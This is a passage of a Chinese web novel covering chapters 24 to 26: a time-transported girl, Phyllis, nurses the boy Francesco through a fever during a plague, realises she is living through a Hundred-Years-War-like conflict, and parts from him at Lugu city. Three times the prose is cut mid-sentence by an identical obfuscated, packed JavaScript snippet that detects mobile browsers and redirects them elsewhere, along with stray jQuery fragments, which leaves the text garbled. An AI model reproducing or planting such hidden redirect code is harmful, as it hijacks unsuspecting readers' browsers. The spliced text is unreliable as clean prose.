以此类推,菲丽丝大概可以确定第一次敲钟应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586928|170637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当是早上6、7点,所谓的“第三个时辰”在上午9点左右,“第六个时辰”是中午12点,“第九个时辰”是下午3、4点,最后一次钟声敲响时是晚上6点,也是人们吃晚饭的时候。 而现在明明已经到了中午,外面的阴云却厚到连一点阳光都看不到,雨也有越下越大的趋势,商队显然不能在这种时候出发了。 菲丽丝不知道这是好事还是坏事。 雨太大肯定会耽误他们之后的行程,商队在路上的成本也会随之增加……但至少现在,这场雨给了弗朗西斯科一个喘息的机会。 阴雨天本就容易让人犯困,再加上还有个修士在一旁不断念诵经文,菲丽丝挺到吃完午饭实在坚持不住,不知不觉躺在另一张床上睡着了。 再睁眼还是被一阵敲门声惊醒的,是安德烈亚给他们送晚餐的信号。 菲丽丝一边惊讶于自己居然睡了六个小时,也对萨瓦托雷修士的执着感到震惊。 从上午开始算,他已经连续在床前念了八小时的祈祷经文了! 而且大概因为袖子一直被昏睡的弗朗西斯科扯着,他连放在一旁的午餐都没动…… 菲丽丝只觉得胸口一阵发堵,想都没想就去门口取来饭食,又把老修士的袖子从少年的手里硬抽出来。 “您快去吃点东西吧!”由于太过着急,她甚至没有维持之前那有些怯懦的小孩形象,第一次用强硬的态度将人扶起来,“您这样下去就算没病也要生病了!” 萨瓦托雷修士大概也是第一次被个小孩教训了,第一反应不是惊讶也不是羞恼,而是有些稀奇地打量起她来。 但很快,手中失去依赖的弗朗西斯科又开始乱抓,他叹口气,稍稍活动了下僵硬的身体便要坐回去。 然而这次菲丽丝抢先一步按住那只乱抓的手,将其按到床边后自己坐到了老修士原本坐的位置,根本没给对方一点反悔的机会。 “您赶紧去吃饭,然后再睡一觉。”她仰着脸坚持道,“我已经睡了一下午,现在正好有精神看着他,您不用担心。” 见她一再坚持,萨瓦托雷修士也没有其他办法。 他确实很累了,吃完饭稍微走动了一会后躺到床上,室内很快便传来均匀的呼吸声。 菲丽丝一直盯着他的动作,见他睡着总算松了一口气,这才注意到那只被自己按住的手似乎没有上午热了。 她试探着摸了摸少年的额头,虽然摸起来有点热,但至少没有之前那么烫手。 体温真的降下来了! 趁情况在往好的方向发展,菲丽丝赶紧去门口叫来住在隔壁的安德烈亚,请他再用柳树皮煮一碗水,打算趁热给病号灌进去。 弗朗西斯科是被水呛醒的。 他的四肢依然无力,眼睛也没完全适应昏暗的光线,只能看到一个近在咫尺的剪影。 “你醒了!” 那道剪影发出惊喜的声音,随后又刻意压低音量道:“我们小点声……萨瓦托雷修士给你念了整整一天的经文,刚刚才睡着,让他多睡一会儿吧。” “……菲利斯?你怎么在这……” 他摸了摸干涩的喉咙,突然向前抓住那只距离自己最近的手,声音隐隐有些发抖:“你……我……我是不是……” “你没有染上瘟疫。萨瓦托雷修士已经给你检查过了,你身上没出现黑疮和脓包。”菲丽丝用力握了握那只颤抖的手,安抚道,“不要担心,既然身上没长东西,体温又这么快就降下来了,就说明只是一场普通的感冒。你把这碗药喝了再睡一觉,明天就能好……” 她越说,交握的那只手似乎就抖得越厉害。 不等菲丽丝继续说出安慰话,几滴温热的液体突然落到了她被抓住的手背上。 “谢谢……谢谢你……” “我其实都听见了,他们原本想要抛下我……是你和萨瓦托雷修士……你们又救了我一次……” 黑暗中,即使少年已经尽力压低音量,抽噎声也显得格外清晰。 “我会报答你们……” 他双手握住那只比自己小一圈的手,带着鼻音郑重道:“菲利希奥,我的兄弟……我向圣母发誓,这份恩情我一辈子都不会忘记!” 24.灰袍修士11 024 弗朗西斯科说出这些话时显然是认真的。 无奈他年纪不大,又刚刚哭了一场……因此,当菲丽丝看着这个一边如此郑重承诺、一边在脸上吹出一个鼻涕泡的少年,只觉得有些哭笑不得。 她觉得自己也不是多善良的人。至少她做不到像萨瓦托雷修士那样,愿意无条件帮助任何人,哪怕是与自己没有关系的路人。 她会帮他,只是因为她能大致确定这个少年是得了感冒而不是瘟疫,而对方恰好又在不久前向自己表达过善意。那作为一个人,她还是无法狠下心眼睁睁看着一条本能活下来的生命就这样消失。 清醒后的弗朗西斯科总算没有像昏迷时那么不讲道理,甚至可以说是相当乖顺。 菲丽丝把半凉的药递给他,他都没问里面有什么,直接一口喝光,又勉强啃了半块煮软的树皮、吃了一小块面包,这才重新躺回床上。 不过也许是昏睡了一个白天,即使躺下人也没闭眼,只睁着一双晶亮的眼睛与同样睡多了的菲丽丝无声对视着。 菲丽丝:………… 菲丽丝无奈搭话:“你睡不着吗?” “嗯,有点……”少年翻了个身,突然小声对着站在床外侧的女孩说道,“你想不想听一个秘密?” “秘密?”菲丽丝看着这个在现代也就是个初中生的小孩,突然有了点逗弄的心思,“你还能有什么了不起的秘密?” 听出她话中的不以为然,少年倒也没气恼,反而朝她招招手等她靠近,这才压低声音说道:“我之前说要报答你们是认真的……我有个发财的好主意,如果能成,二十年之内我一定能成为维利斯最富有的人!” “哎哟!这小孩真有意思。” 派勒乌索教授正好从外面飘回来,闻言立刻笑呵呵撺掇道:“快问问他那好主意是什么?” 菲丽丝在心里对这个喜欢看热闹的老头翻了个白眼,面上却摇摇头:“如果是这种秘密就算了。说出来被别人知道,你可能就没法发财了。” “跟你说又没关系,我相信你不会告诉别人……”黑暗的环境似乎让弗朗西斯科特别有表达欲,即使听到拒绝的话还是自顾自地说起来,“其实我去罗拿城并不是去投奔亲戚。我的亲人里可没有那么有出息的人,能在教皇冕下居住的圣城置办产业……他们都是居住在普拉镇和维利斯的普通人,已经全死在这场瘟疫里了,我又能去投奔谁呢?” “我的母亲是最后一个……我知道她身体一直不好,所以已经随时做好准备,但我没想到,就在她最需要神父告解的时候,不但我们教堂的神父逃跑了,连维利斯都变成了那副模样……” 黑暗中,少年低沉的嗓音突然染上一分无法遮掩的愤怒。 “我带着足够做十次告解的钱来到维利斯——是啊,很不可思议吧,现在请神父来家里做告解都要花金币了!可事实就是如此,是我有求于他们,那付钱也没什么……可五枚金币都喂不饱他们了,他们要十枚!我家的旅馆变卖了也只有五十枚金币,他们一开口就要十枚金币!” “我能怎么办?为了让他们尊贵的脚踏出教堂,我只能答应。” “我回家取了钱又回来,但刚走到教堂门口就有一群人一哄而上,打了我一顿,还将我身上的钱全都抢走了!” “那些神父看到了,他们看到了啊!却像是没看到般把门关上了……” 菲丽丝听着那发颤的尾音,记忆也跟着回到第一次见到弗朗西斯科的那一天。 那时候少年全身上下灰扑扑的像个乞丐,脸上和身上还有好几处在流血的伤。 这些伤现在基本愈合了。 不过因为他们当时急着赶路,后来他自己也没提起过,菲丽丝便自然而然地没把这些异样放在心上,没想到他在跑到修道院求助前还经历了这些…… “……一切都过去了。” 菲丽丝努力搜刮着安慰人的话,奈何自己实在不擅长,最后也只能干巴巴说道:“至少你遇到了萨瓦托雷修士。” “是啊,还好遇到了你们……我明白,不是谁都有这份幸运。” 黑暗中,少年声音中的感情慢慢褪去,最后转为冷漠。 “这是我亲身得到的教训,菲利希奥……神父、商人、乞丐、强盗……他们本质上已经没有区别了……” “钱钱钱,钱就是所有人的标准!” “钱能让主教向魔鬼祈祷,也能让强盗从良!什么美德什么正义,这世道的规则就是钱!” 他突然直起身抓住菲丽丝的手臂,一双眼睛直勾勾盯着她,一字一顿道:“我要赚更多的钱,多到足够把那些人踩在脚底……早晚有一天我会做到!别人都说罗兰和马黎开战后日子不好过了,不知道还要打多少年,但我知道这是个机会……我会让那些胆小鬼知道……我会赚到他们几辈子都赚不到的钱……” 他的吐词慢慢变得有些模糊,眼睛虽然还睁得很大,却已经有些失焦。 菲丽丝试了下少年的额头,果然发现他再次开始出汗,赶紧把人按回床上。 “你该休息了。”她说道,“不要再想这些了,好好睡一觉,睡醒一切都会好起来。” 也许是身体还比较虚弱,也许是话说多了有些累,弗朗西斯科在被按倒后很快睡着,倒是菲丽丝本人彻底没了睡意。 派勒乌索见她目光深沉地盯着窗外的雨幕,不由在心中叹气。 “教廷腐败不是什么新鲜事。他们总是一边修建那么多金碧辉煌的大教堂,一边轰赶那些聚集在教堂门口的乞丐。”见女孩目光依旧深沉,幽灵跟着叹息道,“他们不允许任何批判的声音,我的好几位导师都因为在授课时说了几句话而被当成异端抓起来……比起那时候,现在这位教皇已经好多了。” 菲丽丝缓缓转头看向他,张了张嘴像是想说什么,却像是有所顾虑,犹豫半晌才开口。 “……他刚刚说,马黎和罗兰正在打仗,是真的吗?” “啊?” 大概完全没想到她会提这个问题,幽灵短促发出一个音节后才回过神,理所应当道:“当然,今年都是第十一年了。” 似是看出她的震惊,派勒乌索教授还颇为贴心地安慰了一句:“马黎和罗兰本来就经常发生冲突,隔三五年就要打一仗,这次不过是持续时间久了点……” “那他们这次为什么会打这么久?”菲丽丝没等他说完便打断道。 “这个,当然是有很多原因……” 难得她提了一个不错的问题,派勒乌索教授稍稍组织了一下语言,这才细心解答道:“最开始是瓦蓝伯国那边的问题,那也是个历史遗留问题了。从几十年前瓦蓝伯爵向罗兰臣服后,理论上瓦蓝伯国也是罗兰王国的封地,但罗兰王室来此征税总是遇到各种各样的麻烦,严重时还不得不派雇佣兵去瓦蓝镇压不肯交税的商人……” “而且瓦蓝最重要的纺织业常年依赖从马黎进口的羊毛,马黎和罗兰产生矛盾时,只要马黎人一掐断给瓦蓝的羊毛供应,瓦蓝本土的工人和商人就必然会跳反到马黎那边。二十年前他们都因为当时的瓦蓝伯爵太亲近罗兰王室而将其赶出了瓦蓝,还是当时的罗兰王帮他镇压了起义呢……”这么说着,他像是想起什么好笑的事,呵呵笑了两声才继续道,“哦对,这次战争开始后,那位瓦蓝伯爵因为禁止瓦蓝境内的所有商人进口马黎的羊毛,又被赶出自己的领地了!后来为了表示自己对罗兰王的忠诚,和自己的儿子一起参加了彭特大会战,结果两人都死在了那里!所以现在瓦蓝伯国虽然名义上属于他的长女,但其实已经在马黎王国和本地商人的掌控中了……” “等等……难道这就是这次战争的起因?” 菲丽丝赶紧再次打断,试图将这越跑越偏的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591959|170637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 题拉回来:“因为一个伯国更亲近马黎,所以就开战了?” “当然不是,这不过是其中一个原因。”派勒乌索教授毫不迟疑地打碎了她的希冀,继续像讲故事般说道,“最主要的一个原因还是因为二十年前罗兰王室直系绝嗣,罗兰的王冠落到了原本王室的旁支手里。可这位新国王处事专横冒进,仗着马黎那边的小国王年纪小又刚刚继位,在效忠礼中百般刁难,导致仪式没完成两人就不欢而散。后来他就以此为借口剥夺了马黎国王拥有的阿奎亚公爵头衔,并宣布阿奎亚公国将被收归罗兰王室……” “请再等一下……” 已经被各种名字弄得头脑发晕的菲丽丝再次打断他,惊讶提问:“为什么马黎国王要给罗兰国王行效忠礼,还能剥夺对方的领地?他们不都是国王吗?” 闻言,派勒乌索教授同样很惊讶:“因为阿奎亚公国本来就是罗兰王国的封地啊。虽然阿奎亚的自治权一直很大,但历任阿奎亚公爵都必须向罗兰国王表示效忠,否则罗兰王确实有权收回其封地。” ……所以,为什么马黎国王会在罗兰有一块地啊! 尽管问题已经到了嘴边,但想到问出这个问题也许会带出更多的从未听说过的名字,菲丽丝只能忍下,专注最开始的问题:“也就是说,这次马黎与罗兰会开战,就是因为他们都想要这个公国?” “对,我认为这就是最直接的原因。” 不等菲丽丝松口气,许久没有授课的派勒乌索教授又意犹未尽地说道:“虽然外面都在传‘马黎王声称自己才是罗兰王国的正统继承人,他进攻罗兰是为了夺回被旁支霸占的王位’,但想想就知道不可能了。就算他母亲是一位罗兰公主,可如果罗兰真允许女性继承人继承王位,那按照次序,获得王位的也该是现在的拿法女王——一个出自罗兰王室直系、还嫁给罗兰王室成员的罗兰公主,而不是他这个外嫁公主的儿子……” 嗡———— 脑中突然传来一声嗡鸣。 心中那个最糟糕的假设被证实,菲丽丝先是呆愣了几秒,然后缓缓下蹲,默默捂住脸。 之前她一直试图找到一个“锚点”,好能将自己脑内碎片化的历史知识联系到一起,以便之后能躲掉一些重大灾难……现在这个“锚点”终于出现了。 尽管什么“瓦蓝”“阿奎亚”“拿法”她都没听过,但中世纪,罗兰与马黎长时间的战争,马黎国王声明自己有罗兰王国的继承权——符合这三个条件的重大历史事件,菲丽丝脑中只有一个答案…… 她听说过黑死病,也听说过百年战争,但她真不知道这两件事居然是同时发生的啊! 而且如果这是真的,现在还是百年战争的开始阶段,是第十一年……也就是说,传闻带走旧大陆三分之一人口的黑死病都没能阻止这两个国家继续互殴至少九十年……[*1] 九十年呢! 到底是多大的仇怨能打这么久!这两个国王是有谁杀了对方全家吗?! 沙啦…… 轻微的布料摩擦声猛然拽回菲丽丝的理智。 她立刻转头看去,但室内黑乎乎什么都看不清,仔细分辨几秒才隐约看出是萨瓦托雷修士翻了个身。 “……喂,你没事吧?” 身边的派勒乌索教授显然对她刚刚那一系列动作很茫然:“你到底怎么了?” “…………” 菲丽丝盯着那个鼓包许久,直到派勒乌索教授又问了两遍才收回视线。 “没什么……”她走回房内唯一的空床,用气音答道,“就是有些困了。” “……那就睡吧。” “今天你也辛苦了,好好睡一觉,到了明天一切都会变好的……” 反复询问换来几次摇头后,立在床边的幽灵叹息一声,将手放到了她的额头上方:“圣母保佑你做个好梦,菲丽丝·林恩。” 25.灰袍修士12 025 不知是不是幽灵教授的祝福起效了,菲丽丝难得做了个关于过去的梦。 那大概是两三年前,是她从公司办理完离职之后的事。 她去了总想去却一直没时间去的新伦纳博物馆,出来后在附近的城市公园里散了会儿步,最后选了一块没有人的草地躺了下来,享受着许久没有感受过的阳光。 那时与她要好的同事总劝她不要离职。 虽然直属上司是个激素失调的中年男人,时不时就会膈应一下人,但工资不低,总归是个稳定的收入来源,加上她在空闲时间兼职接稿赚的钱,再坚持一两年就能还清助学贷款,到时候再去做个自由职业者也不迟。 菲丽丝原本也是这么计划的,但计划赶不上变化,谁知道那个平时只会嘴上占人便宜的老混蛋还有个喜欢到处摸人屁股的小孩? 那天她去茶水间接水时突然发现有人从背面拍了她的屁股,她想都没想反手一杯咖啡泼过去,听到尖叫声才发现那是上司八岁的儿子。 讲道理,这件事本质上是她占理,当时茶水间又不是只有她一个人……但这世上本就没太多道理能讲。 尽管有很多同事都站在她这边,上司也说不会起诉或追究她的责任。但看着对方露出的假笑和那根本算不上道歉的阴阳怪气,她突然觉得很没意思。 菲丽丝自认是个很能忍的人,但她毕竟也是个人,常年的压力积攒在心底也需要一个渠道发泄出来。 加上这些年总是对着电脑工作,一坐就是一天,颈椎和腰椎早就出了问题。 外祖父母去世前就反复对着她念叨,总是把她当个孩子,说她还不会照顾自己,工作既然把她累到这个地步就该换个工作。 于是,冲动下她用一根中指结束了自己的第一段打工生涯。 她没有因此后悔过,只是原本以为再找工作还需要些时间,却没想到还没休息一个月就在朋友的推荐下找到了下一份工作。 看吧,生活一点都不难。 在现代,只要熟练掌握一项技能就足够她养活自己。就算身边没有亲人陪伴,她也能照顾好自己。 要是再勤奋点,多接点外包单,每月的收入足够将她的生活质量维持在一个相当不错的水平……不像现在,还要思考“千辛万苦到了落脚地后会不会被卷进战争死掉”这种荒唐问题…… 菲丽丝呆呆盯着灰暗的房顶看了许久,确定之前看到的温暖阳光都是梦后,这才不情不愿地爬起来。 “你醒了?” 另一张床上,弗朗西斯科已经坐起身,穿着灰袍的萨瓦托雷修士则坐在他的床边,见她看过来还笑着招招手:“一个好消息,他的烧已经完全退了。” 菲丽丝愣了两秒,对上少年充满笑意的明亮眼眸,这才确定这是真的。 窗外雨还在下,气温也不算高,她的心却像是被一团热气填满,不自觉也跟着笑了。 算了,现在这样也不错。 反正百年战争到最后罗兰也没亡国,反而是把马黎人彻底赶回了马黎岛。 而吕得城作为罗兰的首都,在战时也该是境内最安全的地方。 至于过程……虽然印象里首都吕得城好像确实被马黎占领过,但那都是圣女冉娜所在的战争后期了。算算时间,她能不能活到那时候都不好说,反而不用太操心…… 最重要的是,她就算不去吕得,还能去哪儿呢? 不但是阿斯卡和维利斯,整个意图恩诺半岛都被瘟疫笼罩,且这片阴云正在继续蔓延到整个旧大陆。 就凭她现在的身体、这两条腿,还能逃到哪里呢? 既然已经身处在这种环境,那不如彻底放平心态……反正在不知道瘟疫是什么的情况下也有三分之二的人活下来了,她已经比别人更有优势,如果这样最后还是染病死掉,那可能也是自己的命运。 想到这,她直接掀开被子跳下床,朝另外两人露出一个灿烂的笑。 “你们一定饿了,我去找点吃的!” 没过多久,“染上瘟疫的少年在一天内便痊愈”的消息随着清晨第一声钟响传遍整个旅店。 在领队亲自确认弗朗西斯科已经退烧,身上没出现任何黑疮,且除了嗓子还有些哑外已经完全恢复精神后,两家商队的人直接把这面积不大的房间挤爆了。 “这是神迹……这就是神迹啊!” 另一家罗兰商队中,那位被叫作“福琼先生”的领队激动跪到地上,紧紧握住灰袍修士的手:“愿吾主保佑您,萨瓦托雷修士……您不但救了这个孩子,还救了我们所有人!今早外面有人来报信,乔尼奇东边的洛索马托桥在昨天塌了,如果我们坚持在昨天冒雨前进一定会困在半路……我、我真不知道该怎么感谢您才好!” “这与我无关,是你救了你自己。”老修士搀扶起领队,温和道,“你明明可以直接离开,可你选择留下与你的朋友渡过难关,这份善心值得一个好结果。” 话音落下,菲丽丝看到福琼先生那泛着油光的胖脸瞬间涨红了一个度。 大概是脸皮还没厚到城墙的地步,最后福琼先生也没正面回应这句话,只嘴上不停说着感谢,又关心了下一旁的弗朗西斯科,这才拍着胸脯表示能护送萨瓦托雷修士这种能引发“神迹”的人是他的荣幸。 等回到吕得,他一定要给吕得城的圣那图拉修道院捐一大笔钱! 菲丽丝对这种话是不以为然的。 毕竟从维利斯出发前,马力诺先生就跟这位“福琼先生”说好要一起上路,并想要委托他护送她和萨瓦托雷修士去吕得城。 可之后同路那么长时间,对方别说来沟通同路事宜,偶尔在旅店的走廊碰到也只会假笑着点点头,那疏离的姿态简直跟今天的殷勤样判若两人。 她猜对方之所以会突然转变态度,估计是真相信了弗朗西斯科之前染上了“瘟疫”。 现在整个意图恩诺半岛瘟疫横行,在见过维利斯和学都城的惨状后,身边突然出现一个能治好瘟疫的人,可不是要赶紧当宝贝供起来? 想到这,菲丽丝突然就不想说出真相了。 好在弗朗西斯科不知是不记得昨晚他们的对话还是另有目的,同样一直默认自己之前是染上了瘟疫。 不但如此,他还说梦到自己被一群魔鬼用锁链绑住,准备将他拉向地狱。 他在一片黑暗中挣扎,原本已经绝望,却突然听到一阵祈祷声,魔鬼们都被那个声音吓退,他顺着那声音走啊走,直到终于有力气睁开眼,却发现那正是萨瓦托雷修士在为自己念诵祈祷经文的声音…… 故事说得相当精彩,惹得周围人连声惊呼“吾主保佑”,其中数福琼先生叫得最大声。 之后的事也不出所料,完全被“神迹”唬住的福琼先生对萨瓦托雷修士的态度发生了一百八十度的变化。 下雨的三天里他不但每天都来问候,请求老修士继续讲那已经不受其他年轻人欢迎的传教故事,听完还会泪流满面外加一顿不重样的赞美之词。 菲丽丝自己也见过不少马屁精,但这么会拍马屁的人她还是第一次见,每每看到都忍不住替对方脚趾抠地。 好在连续三天的暴雨总算过去了,商队要准备重新上路,她的耳朵也不用继续接受折磨。 这次启程时,福琼先生理所应当地将萨瓦托雷修士带到自己所在的商队中,在老修士反复拒绝数次后遗憾退步,只能含泪让“尊贵的修士”坐上了“破旧肮乱的板车”。 菲丽丝看着铺着好几张羊毛垫、几乎没摆货箱的“肮乱板车”,无言了一阵,还是扶着老修士坐了上去。 萨瓦托雷修士因为连续几天的降雨降温有点流鼻涕,有个坐垫也挺好的。 之后的旅程出乎众人意料得顺利。 也许真是冥冥中有什么在庇佑,直到两家商队的马车驶出意图恩诺半岛,他们中都没有一个队员染上瘟疫。 福琼先生当然将这样的“奇迹”归功于萨瓦托雷修士,马力诺先生虽然觉得有些牵强却也没反驳。 而自从知道自己可能身处在百年战争期间后,菲丽丝再也顾不得自己因为门牙缺失而说话漏风的问题,开始主动向周围的人打听战争的近况。 结果比她预料得好很多。原来所谓的“百年战争”也不是一百年持续不断地不停打,期间也会签订休战协议。 正好这个协议去年刚签过,马黎和罗兰两国约定至少在今年的巨狼之月之前都不会再开战。 巨狼之月即一年中的第七个月,看着距离现在很近了,但见识了一路这场瘟疫的可怕后,商队中几乎人人认定这个期限会往后延。 大家的逻辑十分简单粗暴。 现在人都在一城一城地死,今年的税收已经可以提前宣告完蛋了,没有钱支撑军队还打个屁。 身为罗兰人的福琼先生更是带头祈祷,祈祷吾主能公平点,让这个已经蔓延到罗兰南部的瘟疫也不要放过海对岸的马黎人。 他甚至还厚着脸皮邀请能引发“神迹”的萨瓦托雷修士一起来,被老修士断然拒绝后又念叨着如果瘟疫能传给马黎人他一定多给修道院捐钱,最后把一向脾气好的老修士惹到三天没跟他说话,直到他保证不会再“说出这样的诅咒”才罢休。 “……别看他现在对你们和和气气的,你可别以为他真的那么好说话。” 最近一直在马力诺商队那边、许久没有与他们同乘一辆车的弗朗西斯科突然跳上菲丽丝所在的板车,瞥了眼一旁正在闭目养神的老修士,小声说道:“他的商队跟马力诺先生那边不同,队伍里的人有不少雇佣兵,能压制住这群人做领队的不可能是什么善良的角色……” 菲丽丝有些惊讶地眨眨眼,但还是老实点点头。 同行这么久,她当然也看出来了。而且不说别的,就福琼先生那先倨后恭的做派,她也不会把信任交托给这种人。 见她面上没什么太大的反应,弗朗西斯科焦躁地挠挠头发,没过多久就再次凑近:“唔……不过你们在心里提防点就好了。他是个好面子的人,听说还是吕得商会会长的表亲,既然已经当着那么多人的面答应会护送你们就一定会做到,像他这样的商人最重视名声……” “…………” 菲丽丝开始觉得他今天话多到不太正常了,疑惑地看过去。 少年被她看得更加不自在:“怎么……干嘛这么看我?” “……你今天话有点多。”菲丽丝直白道,“而且你以前从来不在背后说人坏话。” “哎呀,你真是——” 弗朗西斯科快速瞟了眼四周,这才继续低声提醒道:“我们马上就要到卢古城了啊……” 卢古城,位于罗兰王国东南方,为两条河流——罗拿河与康娜河的交汇处,也是王国南部的水路枢纽站之一。 从罗拿河南下会直通教皇所在的罗拿城,向北则可以前往首都吕得城——总而言之,这里会是两支商队分开的地方。 菲丽丝虽然天天听周围人即将到某某城,但那些陌生的名字对她来说跟乱码没什么区别,在派勒乌索教授的提醒下才意识到距离两人分别已经不远了,这才慢慢坐直身体。 这个时代通信困难,每次分离说不定就是永别。 看着眼前这个已经完全恢复健康的少年,想到一路上的种种,菲丽丝难得生出一点不舍。 “……那就,祝你早日发财?” 见少年瞬间露出羞窘的表情,她便知道对方还记得那天晚上的事,忍不住笑了下又低声嘱咐道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15596640|170637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“但无论如何,命都比钱重要……你既然要去教皇在的城市,那些话以后就不要再说了。” “这我当然知道……”弗朗西斯科尴尬到耳朵都红了,见这小孩还笑得一脸得意,忍不住用手弹了下对方的脑门,“那我就祝你的牙能快点张齐。” 见菲丽丝一秒闭嘴,他又忍不住笑起来。 “对了,你在吕得有具体住址吗?” 笑够后弗朗西斯科总算想起正事,掏出一把小刀和不知从哪儿弄来的木片,顺口问道:“还有你的名字,你知道菲利希奥要怎么拼吗?” 菲丽丝有些稀奇地看了眼他准备的书写工具,大概也猜到了他想做什么,想了想还是摇头:“我只知道我们要去吕得城旁的科冬镇,具体地址还不知道……” “如果你想写信,可以寄到科冬的帕提恩提斯修道院。” 一直在闭目养神的灰袍修士突然睁开眼,先看了眼少年,又朝菲丽丝笑了下:“那座修道院距离村中各处都不远,周围还有一家姐妹修女院,两位院长对附近的人家都熟悉,寄到那里一定不会有问题。” 菲丽丝立刻明白了他的意思,跟着点头赞同,又接过他递来的木片和小刀,歪歪扭扭刻下一串字母。 F——E——L——I——C…… 刻完C后,她的手停顿了下,最后还是用一个潦草的“E”作为收尾,然后快速塞回对方手里,速度快到像是在做贼。 弗朗西斯科倒是没在意,直接把木片和小刀收起来。 等商队驶入卢古城、找到旅店休息后,又一反常态地拖着菲丽丝去了街上。 菲丽丝很想说一句他是不是忘了上次的教训。 卢古城的治安倒是还没有完全崩溃,但环境上真没比学都城干净到哪儿去……她还不想体验被天外飞屎淋一身的感觉。 不过见少年坚持,想到两人说不定是最后一次见面,又是去距离落脚地很近的铁匠铺,她还是答应了。 两人来到铁匠铺前,弗朗西斯科先跟铁匠叽叽咕咕了一阵,等对方点头后才转身走回来,郑重拿出一枚金币举到菲丽丝面前。 “我向圣母发誓,我那天说得都发自真心。” “我知道萨瓦托雷修士一定不会受这份谢礼,可你既然是他带在身边的人,又被他如此信任,那他的那份我会一并给你。” 少年站直身体,手里捏着金币,一双眼睛认真与面前人对视着:“菲利希奥,你是我的兄弟,我的救命恩人,没有你我就不会站在这里……从今往后,我赚的每一枚金币里都有你的一半,直到我去世为止,这枚金币就是证明。” 菲丽丝万万没想到他会说出这些,眼见着弗朗西斯科真要把那枚金币交给铁匠剪成两半,她赶紧一把按下那只伸出的手臂:“等等!” “你不要劝我,我是认真的!” 即使手臂被抓住,少年依然坚持往外递的动作。 “没……不是,你听我说!” 菲丽丝发现自己完全无法阻止对方,只能赶紧提高声音道:“你为什么非要掰金币?多浪费啊!只是个信物的话掰个铜币不也行吗?” ………… 话音落下,弗朗西斯科挣扎的动作都僵住了。 菲丽丝看出他眼中一闪而过的茫然,继而又像是下定决心般咬起牙关:“不行……我说了是金币就要是金币……” “可你身上又没有多少钱啊!”菲丽丝继续扎心道,“罗拿城内的物价不便宜吧?旅店也不会便宜吧?是不是还有入城费?住宿有没有城市税?你觉得你去了这样一个陌生的城市要多久才能找到一份能糊口的工作?” 连续五个直击的灵魂问题砸下来,直接把少年从骄傲的灰狼淋成了落水狗。 “那、那也不能用铜币啊……”他不情愿地小声嘟囔道,“看起来也太逊了……” 顾及到少年脆弱的自尊心,当他改口用银币后菲丽丝没有阻拦。 随着“叮”的一声脆响,银币在铁剪子下变为两半。 卢古的铁匠还十分贴心地给两枚半圆上各穿了一个孔,方便他们穿绳携带。 “等我在罗拿安顿下来,我会给你写信的。愿吾主保佑你和萨瓦托雷修士能安全到达科冬。” 郑重放好半枚硬币,弗朗西斯科一把搂住她的肩膀,在她想要挣扎避开前小声道:“我真的很感谢你们能救我,菲利希奥,你要相信我的话全都出自真心,我从没这么感激过谁……但我也希望你……不要再这么善良了。” “萨瓦托雷修士是个那图拉修士,不到最极端的情况,没有人会对一个灰袍修士动手……可你不一样,你没有这层身份,做一个善良的人只会被当作肥羊……像我一样,有用的时候谁看到都会上来咬一口,没用了,谁都会轻易抛弃……” 看着少年眼中的愤恨和不甘,菲丽丝摩挲着硬币的断口,轻轻叹息一声。 “我知道……”她小声说出实话,“我是知道你只是感冒才留下的……” 弗朗西斯科闻言愣了下,继而发出一阵畅快的大笑。 “你这个小机灵鬼……就该这样,保重自己才是最重要的!” 他一边笑一边用力揉搓小孩有些长长的头发,被菲丽丝用力挣开才停下打闹,一起往回走。 “你要好好活着,菲利斯。” 快走到旅馆时他突然冒出这么一句:“你和萨瓦托雷修士都是……你们都要好好活着。” 菲丽丝偏过头。 夕阳下,少年正注视着不远处那条闪闪发光的河道,还未完全长开的五官上似乎多了些不属于这个年龄该有的情绪。 “…………” “你也是,弗朗西斯科。” 她的视线转向河道:“祝你能心想事成。” 26.灰袍修士13 026 马力诺先生的商队只在卢古城内休整了一天便离开了。 按照弗朗西斯科的说法,罗拿城就在罗拿河南边的尽头,他们可以改坐船一路走水路过去,这要比在陆地上更快也更安全。与之相反,菲丽丝一行人要到达吕得城要更麻烦一点。 吕得城内也有一条名为“泊鲁瓦”的河,不过那条河与罗拿河之间并不相连。 最快的路线是先沿着罗拿河北上走一段,再转走陆路到泊鲁瓦河边的某个城市,然后从那里继续乘船前往吕得。 菲丽丝听完之后的行程,得知这确实是通往吕得的最佳路线,且每年都有大量商队在这条路线上行走后,脑子里只剩下一个想法。 ——既然这么需要,为什么不能在两条河之间修一条运河? 听到她的问题,睡同一船舱的商队众人都被逗得哈哈大笑,笑得菲丽丝简直莫名其妙。 